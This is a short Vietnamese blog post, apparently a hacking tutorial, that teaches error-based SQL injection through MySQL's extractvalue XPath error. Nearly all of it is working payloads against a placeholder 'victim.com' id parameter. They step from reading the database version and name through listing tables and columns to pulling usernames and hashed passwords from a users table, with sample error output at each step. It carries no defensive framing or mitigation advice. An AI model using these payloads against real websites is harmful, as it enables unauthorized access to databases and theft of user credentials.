Sunday 28 February 2016

Xpath Error Based Injection using Extractvalue

Ở các phần trước chúng ta đã tìm hiểu cơ bản về SQL Injection , các kiểu khai thác

2/ Cách khai thác:
B1: Get verion
Code:
and extractvalue(0x3a,concat(0x3a,version()))-- -
Example:
http://victim.com/index.php?id=24 and extractvalue(0x3a,concat(0x3a,version()))-- -
Result: Database Query Failed XPATH syntax error: ':5.5.45-cll-lve'
--> Biết được version database là 5.5

B2: Get database name
Code:
and
extractvalue(0x3a,concat(0x3a,database()))
Example:

http://victim.com/index.php?id=24 and 
and
extractvalue(0x3a,concat(0x3a,database()))

Result: Database Query Failed XPATH syntax error: ':nightgallery20'


B3: Get table name

Code:

and
extractvalue(0x3a,concat(0x3a,(select concat(table_name) from
information_schema.tables where table_schema=database() limit 0,1)))
Example:
http://victim.com/index.php?id=24 and extractvalue(0x3a,concat(0x3a,(select concat(table_name) from
information_schema.tables where table_schema=database() limit 0,1)))-- -

Khi tìm kiếm table chúng ta tăng giá trị Limit cho tới khi tìm thấy table
Limit N,1 ( trong đó N là số thực ).
Các bảng table có thể là admin, tbladmin, user, administrator, setting …
Limit 2,1
Limit 3,1

B4: Get column from table
Code:
and
extractvalue(0x3a,concat(0x3a,(select concat(column_name) from
information_schema.columns where table_name=0xTABLEHEX limit 0,1)))
Example:
http://victim.com/index.php?id=24 andextractvalue(0x3a,concat(0x3a,(select concat(column_name) from
information_schema.columns where table_name=0xTABLEHEX limit 0,1)))-- -

Lưu ýTableHex  Limit
TableHex ở đây là mã hex , ở trên ta tìm đc table tên ng_users, covert qua mã Hex 6e675f7573657273

Tương tự ta cũng tăng giá trị Limit tới khi tìm dc các table quan trojng như username,password

B5: Get data  from Column
Code:
and
extractvalue(0x3a,concat(0x3a,(select concat(COLUMN_NAME,0x3a,0x7e,COLUMN_NAME) from TABLE_NAME limit 0,1)))-- -
Lưu ý thay thế các trường sau:
        1.     COLUMN_NAME: where you insert the column name you want to extract information from

        2.     TABLENAME: where you insert the table name of the column names you extracted from

Example:
http://victim.com/index.php?id=24 and extractvalue(0x3a,concat(0x3a,(select concat(username,0x3a,0x7e,hashed_password) from ng_users limit 0,1)))-- -

0 comments:

Post a Comment